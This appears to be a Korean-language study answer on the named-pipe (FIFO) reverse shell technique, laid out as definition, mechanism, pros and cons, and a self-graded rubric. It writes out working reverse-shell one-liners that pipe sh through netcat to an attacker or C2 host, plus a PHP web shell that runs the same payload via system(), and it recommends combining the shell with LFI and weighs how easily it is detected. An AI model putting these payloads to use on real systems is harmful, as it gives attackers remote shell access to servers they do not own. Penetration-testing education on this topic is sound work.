Named Pipe 방식에 대하여 설명하시오. (정의, 동작 원리, 구성, 장단점, 보안/침투 실무 적용 포함)
**Named Pipe (FIFO: First In First Out)**는 리눅스/유닉스에서 **두 개의 프로세스 간 데이터를 일시적으로 주고받을 수 있도록 만든 특별한 형태의 파일(파이프)**입니다.
mkfifo 명령을 통해 생성되며, 일반 파일처럼 보이지만, 읽기/쓰기에 대한 블로킹 동작과 양방향 통신 기능을 가짐.
| 구성 요소 | 설명 |
|---|---|
mkfifo | FIFO 특수 파일 생성 |
cat, sh, nc | 입력과 출력을 FIFO에 연결 |
/tmp/f | FIFO 파일 경로 (공격자와 통신하는 파이프 역할) |
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | sh -i 2>&1 | nc <ATTACKER_IP> <PORT> > /tmp/f
| 순서 | 설명 | |
|---|---|---|
① mkfifo /tmp/f | /tmp/f라는 이름의 FIFO 파일 생성 | |
② cat /tmp/f | FIFO 파일을 계속 읽음 (stdin 대기 역할) | |
③ sh -i | 대화형 셸 실행 | |
| ④ ` | nc IP PORT` | sh -i의 출력을 netcat으로 전송 |
⑤ > /tmp/f | netcat의 입력을 다시 FIFO로 기록 → cat /tmp/f로 돌아감 |
cat /tmp/f가 netcat에서 들어온 명령을 sh에 넘겨줌sh -i가 실행한 결과를 다시 netcat으로 보내면서 루프를 형성rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <C2> <PORT> > /tmp/f
/dev/tcp를 지원하지 않아도 작동 → 호환성과 성공률이 높음<?php system("mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <IP> <PORT> > /tmp/f"); ?>
system() 함수로 실행 가능php://filter, LFI(Local File Inclusion)와 결합 시 효과적| 구분 | 장점 | 단점 |
|---|---|---|
| ✅ 장점 | - POSIX 쉘(dash, ash) 호환 가능 - /dev/tcp 미지원 환경에서 사용 가능- 최소한의 명령어만으로 리버스 셸 가능 - netcat, mkfifo, sh만 있으면 구현 가능 | |
| ❌ 단점 | - mkfifo와 cat이 필요 (일부 미니멀 환경에서 누락될 수 있음)- 루프가 약간 복잡하여 초보자에게 직관적이지 않음 - 파이프가 제대로 닫히지 않으면 블로킹됨 - /tmp/f 경로 고정 → 탐지 위험 |
/dev/tcp 방식과 비교| 항목 | Named Pipe 방식 | /dev/tcp 방식 |
|---|---|---|
| 셸 호환성 | 거의 모든 POSIX 셸 | Bash 전용 |
| 가독성 | 복잡한 구조 (FIFO 순환) | 단순 |
| 성공률 | 높음 (대부분 환경에서 작동) | 낮음 (busybox, ash 등 실패) |
| stealth (은닉성) | /tmp/f 파일 생성 감지 가능 | 감지 어렵지만 실행 실패 가능 |
| 명령 예시 | mkfifo + nc + sh | bash -i >& /dev/tcp/... |
/dev/tcp가 안 되는 환경에서도 이 방식은 거의 항상 성공해요.| 평가 요소 | 포함 여부 |
|---|---|
| 정의 명확성 | ✅ Named Pipe, FIFO 차이 구분 |
| 구조적 설명 | ✅ cat/sh/nc 연결 원리 설명 |
| 설계 판단력 | ✅ /dev/tcp와의 비교, 장단점 |
| 실무 대응력 | ✅ 웹쉘, LFI, bash 미지원 환경 등 적용 |
| 전문가 시각 | ✅ IPC 기반 설계, 보안 탐지 회피 등 포함 |